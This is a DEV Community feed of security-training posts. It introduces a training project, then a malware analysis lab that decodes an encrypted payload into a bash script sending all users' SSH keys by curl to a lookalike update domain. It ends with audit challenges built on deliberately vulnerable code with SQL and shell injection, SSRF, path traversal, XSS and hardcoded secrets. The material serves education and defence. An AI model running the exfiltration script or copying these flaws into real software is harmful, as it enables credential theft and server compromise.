DEV Community: fosres

Introducing FOSRES: A Free and Open Source Security Research Project

fosres — Wed, 08 Apr 2026 23:34:27 +0000

Free and Open Source Security Research (FOSRES)

Hi. I am Tanveer Salim. And usually I let Claude do the talking.

For the first time I am actually writing this from scratch.

I would like to introduce you to the FOSRES project. A project meant to train future Security Engineers in Web/Cloud/AI Security. In this project you will be challenged to audit and fix others' code for security bugs, deploy applications in secure cloud environments (here I use AWS only for now), and be asked to apply your skills with using AI to reduce project timelines (a necessary skill you need to build now). Just to let you know I have chosen Claude Code as my official AI agent. Other AI Agents I would recommend are Mistral (most privacy friendly although worse at software engineering than Claude), or GLM-5 (not privacy-friendly at all).

Below I will explain the required tech skills you want to have:

Topics for FOSRES Challenges

A. Web Security

You want to be able to audit and fix code containing any of these vulnerabilities:

Broken Authentication / Authorization

a. Session Cookie Authentication + CSRF

b. Password Authentication

c. JWT Token Authentication

Broken SQL Injection
Broken XSS
Server Side Request Forgery
IDOR (Insecure Direct Object Reference)
Missing Rate Limiting
OS Path Traversal
OS Command Injection
Malicious File Uploads
Security Misconfigurations (see Week 14 from 48-week Plan)
API Key Management & Authentication
Security Logging and Monitoring Failures
XXE Entity Bugs

B. Cloud Security

The only real way to learn Cloud Security is to do it: hence why I am making this project. It is meant to teach you Cloud Security as much as it is meant to teach me.

(To Be Determined)

C. AI Security

(To Be Determined)

Part 1: Authentication System

I will first work with Claude to generate the authentication system. It is my responsibility to audit it. I will be presenting the code as an audit challenge so you are more than welcome to audit it and report bugs if necessary. Find my email in my Dev.to profile to contact me if you find any.

Below is a system diagram of the final version of the authentication system:

Compliance

I intend the web application to be GDPR compliant (Claude help me with meeting GDPR compliance with AWS).

How Authentication Will Work

Client-Side Hashing for Registration

Authentication and Encryption inspired by Bitwarden Whitepaper's system diagram for user.

The following is ASCII-based art:

╔════════════════════════════════════════════════════════════════════════════════════════════════╗
║  CLIENT                                                                                        ║
║                                                       ┌──────────────────────────────────┐   ║
║                       User Asymmetric Key        ┌───▶│  ML-KEM-1024 + X25519 Key Pair   │   ║
║                                                  │    │  ┌─────────────┬──────────────┐  │   ║
║  ┌───────────────────────────┐                   │    │  │ Private Key │ Public Key   │  │   ║
║  │  Argon2ID (KDF)           │                   │    │  └─────────────┴──────────────┘  │   ║
║  │  Salt   : email address   │──────── Master Key┤    └──────────────────────────────────┘   ║
║  │  Payload: master password │                   │                                           ║
║  └───────────────────────────┘                   │    ┌──────────────────────────────────┐   ║
║                                                  └───▶│  HKDF-SHA-512 ──▶ Stretched      │   ║
║                                                       │                   Master Key      │   ║
║                                                       └─────────────────┬────────────────┘   ║
║                                                                         │                    ║
║  ┌───────────────────────────┐                                          ▼                    ║
║  │  Argon2ID (KDF)           │◀── Master Key   ┌───────────────────────────────────────┐    ║
║  │  Payload: master key      │                 │  Generated Symmetric Key              │    ║
║  │  Salt   : master password │                 │  Encryption Key : 256 bits            │    ║
║  └─────────────┬─────────────┘                 │  MAC Key        : 256 bits            │    ║
║                │                               └─────────────┬─────────────────────────┘    ║
║                │                                             │  Symmetric Key               ║
║                ▼                                             │                              ║
║  ┌──────────────────────┐  ┌─────────────────────────┐       │  ┌────────────────────────┐  ║
║  │  Master Password     │  │  192-bit Nonce (CSPRNG) │───────┼─▶│  XChaCha20-Poly1305    │  ║
║  │  Hash (SHA-256)      │  └─────────────────────────┘       │  │  Nonce  : 192-bit      │  ║
║  └──────────────────────┘       ▲                            │  │  Payload: sym key      │  ║
║                │                │ Nonce                      └─▶│  Key: stretched mkey   │  ║
║                │          CSPRNG┘                               └──────────┬─────────────┘  ║
║                │                                                           │                ║
║                │                                                           ▼                ║
║                │                                        ┌───────────────────────────────┐   ║
║                │                                        │   Protected Symmetric Key     │   ║
║                │                                        └───────────────────────────────┘   ║
╚════════════════╪════════════════════════════════════════════════════╪══════════════════════╝
                 │                   🔒 https://                      │
                 ▼                                                    ▼
╔════════════════════════════════════════════════════════════════════════════════════════════════╗
║  CLOUD                                                                                         ║
║                                                                                                ║
║      KMS – Data Protection Key – XChaCha20-Poly1305 Encryption                                ║
║  ┌────────────────────────────────┬───────────────────────────────────────┐                   ║
║  │  SHA-256(Master Password Hash) │       Protected Symmetric Key         │                   ║
║  ├────────────────────────────────┴───────────────────────────────────────┤                   ║
║  │       Database with Transparent Data Encryption (TDE)                  │                   ║
║  ├────────────────────────────────┬───────────────────────────────────────┤                   ║
║  │  SHA-256(Master Password Hash) │       Protected Symmetric Key         │                   ║
║  └────────────────────────────────┴───────────────────────────────────────┘                   ║
╚════════════════════════════════════════════════════════════════════════════════════════════════╝

Key Derivation Function: Argon2ID

Generated RSA Key Pair --> Replaced with:

ML-KEM-1024-X25519 Hybrid for Public Key Encapsulation

HKDF: HKDF-SHA-256 which offers 128 bits of quantum security

Symmetric Key Algorithm: XChaCha20-Poly1305

Support for Cryptography:

Need	Python	JavaScript
ML-KEM-1024 + X25519 (your design)	Manual combiner: `liboqs-python` + `cryptography` + HKDF	Manual combiner: `mlkem` + Web Crypto + `@hpke/core`

Manual support for the Hybrid Public Key Encryption will be done based on Request for Comments 9180.

Python Libraries liboqs-python and cryptography will be used in the backend.

Javascript libraries:

Full Stack

All possible backend and frontend frameworks will be visitable, auditable, and therefore hackable by visitors.

Backends:

Flask
Django
FastAPI

Frontends Featured in the Exercises

Exercise	Backend	Frontend
1	FastAPI	React
2	Flask	React
3	FastAPI	React
4	Django	Alpine.js
5	Django	Next.js (TypeScript)
6	FastAPI	Nuxt.js (Vue)
7	Django	Angular

Distinct frontends: React (×3), Alpine.js, Next.js, Nuxt.js, Angular

Testing

All AI agents must first generate a beta version of the full-stack page of code requested complete with a full test-case suite. The developer must then manually check if the test cases work as well as test with additionl test cases. As a Security Engineer one must check for security bug test cases--and the AI agent must include that in the test case suite where applicable. After the developer has tested through all test cases the developer is strongly encouraed to allow a second, independent AI agent to first verify all test cases as well as additional tests. The developer can then verify the test cases made by the second independent AI.

Claude will be responsible for generating code and the first test case suite for each page of full-stack code made. Mistral will be the secondary testing agent. Mistral, unlike Claude, is capable of executing code in a sandbox so Mistral is valuable as a testing agent. Claude is frequently used by developers and Security Engineers for software engineering planning.

See the Ongoing Claude Conversation

I decided to publish the entire conversation I had with Claude to help me write this blog. This is actually the first time I wrote a blog post here from scratch but nonetheless since AI-assisted programming in Security is a very new field I am publishing my entire conversation to help others learn from my good and bad habits as I experiment with it: https://claude.ai/share/71a81505-a49f-4fee-b2cd-d3ff09009af9

Week 12: Malware Analysis Lab: Can You Identify This Malware?

fosres — Tue, 07 Apr 2026 20:09:34 +0000

Can You Identify This Malware?

Time: 60–90 minutes

Difficulty: Intermediate

Skills: BASH CLI, Python Scripting, Applied Cryptography, Encoding Schemes, Linux File Permissions

A Horror Story First

In 2022, a security team at a cloud storage provider discovered an anomaly in their
server logs. A file had been uploaded through a legitimate API endpoint — nothing in
the filename, content-type header, or file size triggered any automated alerts. The
file sat quietly on disk for eleven days.

Then a scheduled job — one that processed uploaded files — picked it up, decoded
it, and executed it. Within ninety seconds the server had exfiltrated SSH private keys
for every user account on the host to an external server registered under a
convincingly generic domain name: something indistinguishable from a Linux
software update mirror.

The attacker never exploited a CVE. They never brute-forced a password. They
uploaded a file and waited. The vulnerability was that the server trusted the content
of user-uploaded files.

This is not a hypothetical. Malicious file uploads that lead to server-side execution
are one of the most underestimated attack vectors in production systems. OWASP
lists unrestricted file uploads as a critical risk — and for good reason. The damage
is always discovered after the fact, and the forensic trail is often cold by then.

Why This Challenge Matters

Most security challenges test one skill in isolation. This one tests five simultaneously
— because real incidents don't stay in one lane.

When a suspicious file lands on your desk, you need to:

BASH Command Line Interface
Python Scripting
Applied Cryptography
Encoding Schemes
Linux File Permissions

If you can work through this challenge without hints, you have the practical skill
set to contribute to a real incident investigation.

The Challenge

A file server has been deployed. Shortly after, the engineering team notices a
suspicious file on the server. They send it to you and ask you to investigate.

/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AI5AexdAD2IiaczqOaooQTUvYvrOTtlBM046l0zq3OWGNHrTbAOi96Co4nh+rjwB/eS
XwPZixupEx+2fybd37UvRxdXqaiQU4TMTMfhh8Znvu2dB6V9FNyNnnLlcOGR83ZvdtIjIFL0Lo70fMMkXCFgyXFTgIde6Zd/J5oN
vziyxA3Y79lbWLDwASuLwVF45lclGAahtm9cJN8y4tFc4DW0xv0XxppTHsjgNTUW93KusEsI6b8p8ArUkz1Pvyas4DPY2RGPLCXe
LzIfbv3fFZ/obm1Und0OLuftaAunWCYRv7F5B15zW+rwNGbxrwLrw+/hBowBr6bB6ALKPl2YfBKXZ8bCh4J0BzpKT4iFTvzNSJCK
B7/yWK6pJHSnf7Otpa27YNyzzmRV4TVQuDAs7fSHa3OGR//Y8QqU6EumjrPud3QlXTh7jD3zSnfsBplTBoG0wijrd6MHmkauLPtA
nyy+KpCmVsIqQvHKhXxS2Zdo1Dk9pjGqY6/UkgTmjO0oxQ3zsweCU3WekW/trjVUUlUT8w+koXBqZAugVXggMThMLZYh6hzCxiwq
I+AQt5h+29V/cj2j8FNYv3KDaEA7AYR2j0M9ZRBs+7Fzh1qklrBlKheUMgyC8kw2LgBqUc62E8/BiJiOhKJ7ZE0VO6ZEnMOMAAC1
67rGYwT5OgABiAS6BAAAiuLwsbHEZ/sCAAAAAARZWg==

Question 1 — What is this file? What does it do? How did you determine what it does?

Question 2 — If this is malware, what mitigating factors might prevent it from working correctly?

My Solution

Question 1

The file carries a malicious BASH script designed to exfiltrate SSH private keys
to an attacker-controlled server.

How I found out:

Step 1. Copied the base64-encoded contents to /tmp/test.txt

Step 2.

base64 -d /tmp/test.txt > /tmp/suspicious_file.txt

Step 3.

file /tmp/suspicious_file.txt

/tmp/suspicious_file.txt: XZ compressed data, checksum CRC64

Step 4.

xz -d /tmp/suspicious_file.txt > /tmp/suspicious_file

Step 5.

cat /tmp/suspicious_file

{"mode": "aes-256-cbc", "key": "Nwu8bVtV0IgF/PLKS8HcknL3wNuUto3sltGP2PGHTgE=", "iv": "OzkGR+FoVEa8jCReqisDGw==", "ct": "ovXxLEy3h8OJU0P4md29Wk8zwIlD9NobozB/yS50YaUP3R6MHVAzSAfs9f6HI59Keak0KBHlJ1wkiYcOshyKSDz3YECo8tauHk7589PAOUByLBo6rQtwXBImcLjuowR6dwK76+1ouromzTB+mezc+NWefHks4HeWLPxMxUoSLAqHqUg7YjZYjaLdPfZdd2IH7hKK/HRXHgV0vXS99n4a8WYkHvwNt/yalxS86h7VI0lBsZVs7Cr9HdyRRaN9ra6+WI0jwmwxXIEv7FIs22aXZTtt7Fk88QHcVdBIsPjYKiTiRnHJaNp9XWn5Lnn9EURnmQ+0emDotlm+NhVjA8TGeC4zgvllQMKAlJenY6Q8YEyAfzmVMPwyfaJQl7J3HbVfi4nslzG+jkWUyP/CbYt02t3IClUlUA8sFhr9YJtCknSWU9gUVMjsT4SJjCQ8Cc3s"}

The JSON payload contains an AES-256-CBC encrypted blob with the key and IV
stored alongside the ciphertext. I wrote the following Python script to decrypt it:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

def encryptaes256_cbc(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
    """
    Encrypts the given plaintext using AES-256-CBC encryption.

    Parameters:
    - key: bytes — 32-byte (256-bit) key
    - iv: bytes — 16-byte (128-bit) initialization vector
    - plaintext: bytes — plaintext to encrypt

    Returns:
    - bytes: encrypted ciphertext

    Raises:
    - ValueError: if key is not 32 bytes or IV is not 16 bytes
    """
    if len(key) != 32:
        raise ValueError("Key length should be 32 bytes (256 bits).")
    if len(iv) != 16:
        raise ValueError("IV length should be 16 bytes (128 bits).")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_plaintext = pad(plaintext, AES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return ciphertext

def decryptaes256_cbc(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
    """
    Decrypts the given ciphertext using AES-256-CBC decryption.

    Parameters:
    - key: bytes — 32-byte (256-bit) key
    - iv: bytes — 16-byte (128-bit) initialization vector (same as used during encryption)
    - ciphertext: bytes — ciphertext to decrypt

    Returns:
    - bytes: decrypted plaintext

    Raises:
    - ValueError: if key is not 32 bytes or IV is not 16 bytes
    """
    if len(key) != 32:
        raise ValueError("Key length should be 32 bytes (256 bits).")
    if len(iv) != 16:
        raise ValueError("IV length should be 16 bytes (128 bits).")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(ciphertext)
    plaintext = unpad(decrypted_data, AES.block_size)
    return plaintext

key = "Nwu8bVtV0IgF/PLKS8HcknL3wNuUto3sltGP2PGHTgE="
key_base64 = base64.b64decode(key)

iv = "OzkGR+FoVEa8jCReqisDGw=="
iv_base64 = base64.b64decode(iv)

ciphertext = "ovXxLEy3h8OJU0P4md29Wk8zwIlD9NobozB/yS50YaUP3R6MHVAzSAfs9f6HI59Keak0KBHlJ1wkiYcOshyKSDz3YECo8tauHk7589PAOUByLBo6rQtwXBImcLjuowR6dwK76+1ouromzTB+mezc+NWefHks4HeWLPxMxUoSLAqHqUg7YjZYjaLdPfZdd2IH7hKK/HRXHgV0vXS99n4a8WYkHvwNt/yalxS86h7VI0lBsZVs7Cr9HdyRRaN9ra6+WI0jwmwxXIEv7FIs22aXZTtt7Fk88QHcVdBIsPjYKiTiRnHJaNp9XWn5Lnn9EURnmQ+0emDotlm+NhVjA8TGeC4zgvllQMKAlJenY6Q8YEyAfzmVMPwyfaJQl7J3HbVfi4nslzG+jkWUyP/CbYt02t3IClUlUA8sFhr9YJtCknSWU9gUVMjsT4SJjCQ8Cc3s"
ct_base64 = base64.b64decode(ciphertext)

decrypted_plaintext = decryptaes256_cbc(key_base64, iv_base64, ct_base64)
print("Decrypted plaintext:", decrypted_plaintext.decode())

Decryption revealed the following malicious BASH script:

#!/bin/bash

TD=$(mktemp d)
TD2=$(mktemp d)
HN=$(hostname)

find /home/*/.ssh/* -type f 2>/dev/null | xargs -I {} cp {} "$TD/"

TF="$TD2/$HN.tgz"
tar -czf "$TF" -C "$TD"

U="https://media.linux-updates.xyz/upload"
curl -X PUT -H "Content-Type: application/octet-stream" --data-binary "@$TF"

rm -rf "$TD2"
rm -rf "$TD"

The attacker's intent is clear: if the file server decrypts and executes this
payload, it copies all SSH private keys from every user's .ssh directory,
archives them, and uploads the archive to the attacker's server at U. The file
should be deleted immediately and the uploading user banned from the service
and reported to the relevant authorities where applicable.

Question 2

The JSON payload obviously carries a malicious script. Whenever
the server must retrieve a file from the payload the server must
ensure the executable permissions bit is NEVER set. This way
the server cannot execute the BASH script.

If the file server offers to run scripts on behalf of the user
then the server must execute the script inside a virtualized
environment such as a hypervisor or secure container (e.g. Docker)
where there is no such secret data stored in the safe environment.
This way no dangerous files in the host machine will be compromised.

That, and to avoid Malicious File Upload as done in the
curl command in the BASH script only a whitelist of domains for
requests should be allowed in the safe environment.

Finally, ensure the user account in the secure environment
has the lowest privileges necessary--so the script shown above
cannot access any directories belonging to other users in the
home directory.

If you want more challenges like this one, star the repo:
github.com/fosres/SecEng-Exercises

What was the hardest part for you? Vote here:
strawpoll.com/wby5QoKAkyA

Week 11: Audit 7 Full-Stack Security Audit Challenges: Can You Find All the Bugs?

fosres — Sun, 05 Apr 2026 19:18:20 +0000

7 Full-Stack Security Audit Challenges: Can You Find All the Bugs?

Time: Self-paced

Difficulty: Intermediate to Advanced

Skills: Web AppSec, Secure Code Review, Python, JavaScript

The Breach That Changed Everything

In July 2019, a lone attacker compromised over 100 million Capital One customer records — credit card applications, Social Security numbers, bank account data — all from a single misconfigured AWS WAF. The root cause? A Server-Side Request Forgery vulnerability. The WAF's URL-fetching feature made an outbound HTTP request to the AWS metadata endpoint at http://169.254.169.254/, handed back temporary IAM credentials, and the attacker walked straight into an S3 bucket containing a decade of customer data.

Capital One paid $190 million in settlements. The attacker was a former AWS engineer who understood exactly which endpoint to hit.

The vulnerability wasn't exotic. It wasn't a zero-day. It was a feature — a URL fetcher — that trusted user input without validation. A developer built it. A code reviewer missed it. A security team didn't catch it in production until it was too late.

This pattern repeats constantly. The 2017 Equifax breach? Apache Struts with a known CVE sitting unpatched for months. The 2020 Twitter hack? Social engineering into an internal admin panel with no IDOR protection. The 2022 Optus breach? An unauthenticated API endpoint returning customer records with sequential IDs.

The vulnerabilities in these stories are the same ones you are about to audit.

Bug Classes Under the Microscope

These seven exercises cover the following vulnerability classes:

1.  Broken Authentication / Authorization
    a. Session Cookie Authentication + CSRF
    b. Password Authentication
    c. JWT Token Authentication

2.  SQL Injection

3.  XSS (Cross-Site Scripting)

4.  Server-Side Request Forgery (SSRF)

5.  IDOR (Insecure Direct Object Reference)

6.  Missing Rate Limiting

7.  OS Path Traversal

8.  OS Command Injection

9.  Malicious File Uploads

10. Security Misconfigurations

11. API Key Management & Authentication

12. Security Logging and Monitoring Failures

Each exercise embeds 3–6 of these classes into a realistic multi-file full-stack application. No labels. No hints. Audit it like a real codebase.

The Rules

For each exercise:

Find every bug — identify the file, the vulnerable line, and the bug class
Write a sample payload — demonstrate how an attacker would exploit it
Fix it — write corrected code that defends at the right layer

Ready? Let's go.

Exercise 1 — FastAPI + React

App: User search portal

main.py

from fastapi import FastAPI, Request, Form, HTTPException
from fastapi.templating import Jinja2Templates
from sqlalchemy import text

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/user")
async def get_user(request: Request):
    user = request.query_params.get("username")
    query = f"SELECT * FROM users WHERE username = '{user}'"
    result = db.session.execute(text(query)).fetchall()
    return templates.TemplateResponse("results.html", {"request": request, "results": result})

UserSearch.jsx

import { useState } from 'react';

export default function UserSearch() {
    const [username, setUsername] = useState('');

    const searchUser = async () => {
        const response = await fetch(`/user?username=${username}`);
        const html = await response.text();
        document.getElementById('results').innerHTML = html;
    };

    return (
        <div>
            <input
                type="text"
                value={username}
                onChange={(e) => setUsername(e.target.value)}
                placeholder="Enter username"
            />
            <button onClick={searchUser}>Search</button>
            <div id="results"></div>
        </div>
    );
}

templates/results.html

<h1>Results</h1>
<ul>
    {% for row in results %}
        <li>{{ row }}</li>
    {% endfor %}
</ul>

Exercise 2 — Flask + React

App: Blog platform with file uploads and profile management

Database Schema:

CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE NOT NULL,
    password TEXT NOT NULL,
    email TEXT NOT NULL,
    role TEXT DEFAULT 'user'
);

CREATE TABLE posts (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    title TEXT NOT NULL,
    content TEXT,
    author_id INTEGER NOT NULL,
    FOREIGN KEY (author_id) REFERENCES users(id)
);

app.py

from flask import Flask, request, render_template, redirect, url_for, session, flash
import sqlite3
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.secret_key = 'supersecretkey'
app.config['UPLOAD_FOLDER'] = 'uploads'

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return "No file uploaded", 400
    file = request.files['file']
    if file.filename == '':
        return "No file selected", 400
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
    return "File uploaded successfully!"

@app.route('/search')
def search_posts():
    query = request.args.get('q')
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM posts WHERE title LIKE '%{query}%'")
    results = cursor.fetchall()
    conn.close()
    return render_template('results.html', results=results)

@app.route('/profile', methods=['POST'])
def update_profile():
    username = session.get('username')
    new_email = request.form['email']
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    cursor.execute(f"UPDATE users SET email = '{new_email}' WHERE username = '{username}'")
    conn.commit()
    conn.close()
    flash('Profile updated!')
    return redirect(url_for('profile'))

if __name__ == '__main__':
    app.run(debug=True)

Search.jsx

import { useState } from 'react';

export default function Search() {
    if (query) {
        const handleSearch = async () => {
            const response = await fetch(`/search?q=${query}`);
            const html = await response.text();
            document.getElementById('results').innerHTML = html;
        };
    }
    return (
        <div>
            <input
                type="text"
                value={query}
                onChange={(e) => setQuery(e.target.value)}
                placeholder="Search posts..."
            />
            <button onClick={handleSearch}>Search</button>
            <div id="results"></div>
        </div>
    );
}

Exercise 3 — FastAPI + React

App: Admin panel with JWT authentication

app.py

from fastapi import FastAPI, Request, Form, HTTPException, status, Depends
from fastapi.security import OAuth2PasswordBearer
from fastapi.templating import Jinja2Templates
import sqlite3
import os
import subprocess
import requests
from jose import JWTError, jwt
from datetime import datetime, timedelta

app = FastAPI()
app.secret_key = "supersecretkey"
templates = Jinja2Templates(directory="templates")
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")

def create_access_token(data: dict):
    to_encode = data.copy()
    expire = datetime.utcnow() + timedelta(days=365)
    to_encode.update({"exp": expire})
    return jwt.encode(to_encode, "supersecretkey", algorithm="HS256")

@app.get("/fetch")
async def fetch_url(url: str):
    response = requests.get(url)
    return {"content": response.text}

@app.post("/login")
async def login(username: str = Form(...), password: str = Form(...)):
    conn = sqlite3.connect("database.db")
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")
    user = cursor.fetchone()
    conn.close()
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")
    token = create_access_token({"sub": username})
    return {"access_token": token}

@app.get("/admin")
async def admin_panel(token: str = Depends(oauth2_scheme)):
    payload = jwt.decode(token, "supersecretkey", algorithms=["HS256"])
    username = payload.get("sub")
    conn = sqlite3.connect("database.db")
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
    user = cursor.fetchone()
    conn.close()
    if user[3] != "admin":
        raise HTTPException(status_code=403, detail="Unauthorized")
    return {"message": "Admin Panel"}

@app.get("/ping")
async def ping_server(host: str):
    result = subprocess.run(f"ping -c 4 {host}", shell=True, capture_output=True, text=True)
    return {"output": result.stdout}

@app.post("/upload")
async def upload_file(file: UploadFile = File(...)):
    file.save(os.path.join("uploads", file.filename))
    return {"message": "File uploaded!"}

Search.jsx

import { useState } from "react";

export default function Search() {
    const [url, setUrl] = useState("");

    const handleFetch = async () => {
        const response = await fetch(`/fetch?url=${url}`);
        const data = await response.json();
        document.getElementById("results").innerHTML = data.content;
    };

    return (
        <div>
            <input
                type="text"
                value={url}
                onChange={(e) => setUrl(e.target.value)}
                placeholder="Enter URL..."
            />
            <button onClick={handleFetch}>Fetch</button>
            <div id="results"></div>
        </div>
    );
}

Exercise 4 — Django + Alpine.js (DevDash)

App: Developer dashboard with avatar uploads, report search, and DNS diagnostics

devdash/settings.py

SECRET_KEY = 'django-insecure-abc123xyz'
DEBUG = True
ALLOWED_HOSTS = ['*']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'dashboard',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
]

dashboard/views.py

from django.shortcuts import render, get_object_or_404
from django.http import JsonResponse
from django.contrib.auth.models import User
from django.db import connection
import requests
import os
import subprocess
from .models import Report, UserProfile

def set_avatar(request):
    if request.method == 'POST':
        avatar_url = request.POST.get('avatar_url', '')
        user_id = request.POST.get('user_id')
        response = requests.get(avatar_url, timeout=5)
        upload_path = os.path.join('media/avatars', f'{user_id}_avatar.png')
        with open(upload_path, 'wb') as f:
            f.write(response.content)
        profile = UserProfile.objects.get(user_id=user_id)
        profile.avatar_url = upload_path
        profile.save()
        return JsonResponse({'status': 'avatar updated'})
    return JsonResponse({'error': 'invalid method'}, status=405)

def search_reports(request):
    q = request.GET.get('q', '')
    with connection.cursor() as cursor:
        cursor.execute(
            f"SELECT id, title, content FROM dashboard_report WHERE title LIKE '%{q}%'"
        )
        rows = cursor.fetchall()
    return JsonResponse({'results': rows})

def get_report(request, report_id):
    report = get_object_or_404(Report, id=report_id)
    return JsonResponse({
        'id': report.id,
        'title': report.title,
        'content': report.content,
        'owner': report.owner.username
    })

def run_diagnostic(request):
    if request.method == 'POST':
        target = request.POST.get('target', '')
        result = subprocess.run(
            f'dig +short {target}',
            shell=True,
            capture_output=True,
            text=True
        )
        return JsonResponse({'output': result.stdout})
    return JsonResponse({'error': 'invalid method'}, status=405)

def admin_users(request):
    users = User.objects.values('id', 'username', 'email', 'is_staff')
    return JsonResponse({'users': list(users)})

templates/dashboard.html

<!DOCTYPE html>
<html>
<head><title>DevDash</title></head>
<body>
<div x-data="dashboard()" x-init="init()">
    <div>
        <input type="text" x-model="avatarUrl" placeholder="Paste image URL..." />
        <input type="text" x-model="userId" placeholder="User ID..." />
        <button @click="setAvatar()">Update</button>
    </div>
    <div>
        <input type="text" x-model="searchQuery" placeholder="Search..." />
        <button @click="searchReports()">Search</button>
        <div x-html="searchResults"></div>
    </div>
    <div>
        <input type="text" x-model="diagTarget" placeholder="Enter hostname..." />
        <button @click="runDiagnostic()">Run</button>
        <pre x-text="diagOutput"></pre>
    </div>
</div>
<script src="//cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js" defer></script>
</body>
</html>

Exercise 5 — Django + Next.js (InvoiceHub)

App: Billing platform with invoice management and file downloads

billing/views.py

from django.http import JsonResponse, FileResponse
from django.contrib.auth.models import User
from django.db import connection
import subprocess
import os
import requests
from .models import Invoice, APIKey

def get_invoices(request):
    api_key = request.headers.get('X-API-Key', '')
    key_obj = APIKey.objects.filter(key=api_key).first()
    owner_id = key_obj.owner_id if key_obj else None
    with connection.cursor() as cursor:
        cursor.execute(
            f"SELECT id, title, amount, pdf_filename FROM billing_invoice WHERE owner_id = {owner_id}"
        )
        rows = cursor.fetchall()
    return JsonResponse({'invoices': rows})

def download_invoice(request):
    filename = request.GET.get('file', '')
    filepath = os.path.join('/var/invoices', filename)
    return FileResponse(open(filepath, 'rb'))

def health_check(request):
    host = request.GET.get('host', 'localhost')
    result = subprocess.run(
        f'curl -s --max-time 3 {host}',
        shell=True,
        capture_output=True,
        text=True
    )
    return JsonResponse({'status': result.stdout})

def get_invoice(request, invoice_id):
    with connection.cursor() as cursor:
        cursor.execute(
            f"SELECT id, title, amount, pdf_filename, owner_id FROM billing_invoice WHERE id = {invoice_id}"
        )
        row = cursor.fetchone()
    if not row:
        return JsonResponse({'error': 'not found'}, status=404)
    return JsonResponse({'id': row[0], 'title': row[1], 'amount': str(row[2]), 'pdf_filename': row[3]})

def create_api_key(request):
    if request.method == 'POST':
        import secrets
        user_id = request.POST.get('user_id')
        key = secrets.token_hex(32)
        APIKey.objects.create(key=key, owner_id=user_id)
        return JsonResponse({'api_key': key})
    return JsonResponse({'error': 'invalid method'}, status=405)

components/InvoiceDashboard.tsx

'use client';
import { useState } from 'react';

export default function InvoiceDashboard() {
    const [invoices, setInvoices] = useState([]);
    const [searchHtml, setSearchHtml] = useState('');
    const [host, setHost] = useState('');

    const loadInvoices = async () => {
        const apiKey = localStorage.getItem('api_key');
        const res = await fetch('/api/invoices/', {
            headers: { 'X-API-Key': apiKey || '' }
        });
        const data = await res.json();
        setInvoices(data.invoices);
    };

    const searchInvoices = async (query: string) => {
        const res = await fetch(`/api/invoices/?search=${query}`);
        const html = await res.text();
        setSearchHtml(html);
    };

    const checkHealth = async () => {
        const res = await fetch(`/api/admin/health/?host=${host}`);
        const data = await res.json();
    };

    const downloadInvoice = (filename: string) => {
        window.location.href = `/api/invoices/download/?file=${filename}`;
    };

    return (
        <div>
            <button onClick={loadInvoices}>Load Invoices</button>
            <ul>
                {invoices.map((inv: any) => (
                    <li key={inv[0]}>
                        {inv[1]} - ${inv[2]}
                        <button onClick={() => downloadInvoice(inv[3])}>Download PDF</button>
                    </li>
                ))}
            </ul>
            <div>
                <input placeholder="Search invoices..." onChange={(e) => searchInvoices(e.target.value)} />
                <div dangerouslySetInnerHTML={{ __html: searchHtml }} />
            </div>
            <div>
                <input value={host} onChange={(e) => setHost(e.target.value)} placeholder="Health check host..." />
                <button onClick={checkHealth}>Check</button>
            </div>
        </div>
    );
}

Exercise 6 — FastAPI + Nuxt.js (TeamCollab)

App: Team collaboration platform with documents, webhooks, and file uploads

app/main.py

from fastapi import FastAPI, Request, Header, UploadFile, File, Depends
from fastapi.responses import FileResponse
from sqlalchemy.orm import Session
from sqlalchemy import text
import subprocess
import httpx
import os
import sqlite3

app = FastAPI()
SECRET_KEY = "teamcollab-secret-hardcoded-2024"
UPLOAD_DIR = "uploads"

def get_db():
    conn = sqlite3.connect("teamcollab.db")
    try:
        yield conn
    finally:
        conn.close()

@app.get("/documents/search")
async def search_documents(q: str, db: sqlite3.Connection = Depends(get_db)):
    cursor = db.cursor()
    cursor.execute(
        f"SELECT id, title, content, owner_id FROM documents WHERE title LIKE '%{q}%' OR content LIKE '%{q}%'"
    )
    return {"results": cursor.fetchall()}

@app.get("/documents/{doc_id}")
async def get_document(doc_id: int, x_api_token: str = Header(None), db: sqlite3.Connection = Depends(get_db)):
    cursor = db.cursor()
    cursor.execute(f"SELECT id, title, content, owner_id, is_public FROM documents WHERE id = {doc_id}")
    doc = cursor.fetchone()
    if not doc:
        return {"error": "not found"}, 404
    return {"id": doc[0], "title": doc[1], "content": doc[2]}

@app.post("/workspaces/{workspace_id}/notify")
async def notify_workspace(workspace_id: int, payload: dict, db: sqlite3.Connection = Depends(get_db)):
    cursor = db.cursor()
    cursor.execute(f"SELECT webhook_url FROM workspaces WHERE id = {workspace_id}")
    row = cursor.fetchone()
    if not row:
        return {"error": "not found"}
    webhook_url = row[0]
    async with httpx.AsyncClient() as client:
        await client.post(webhook_url, json=payload)
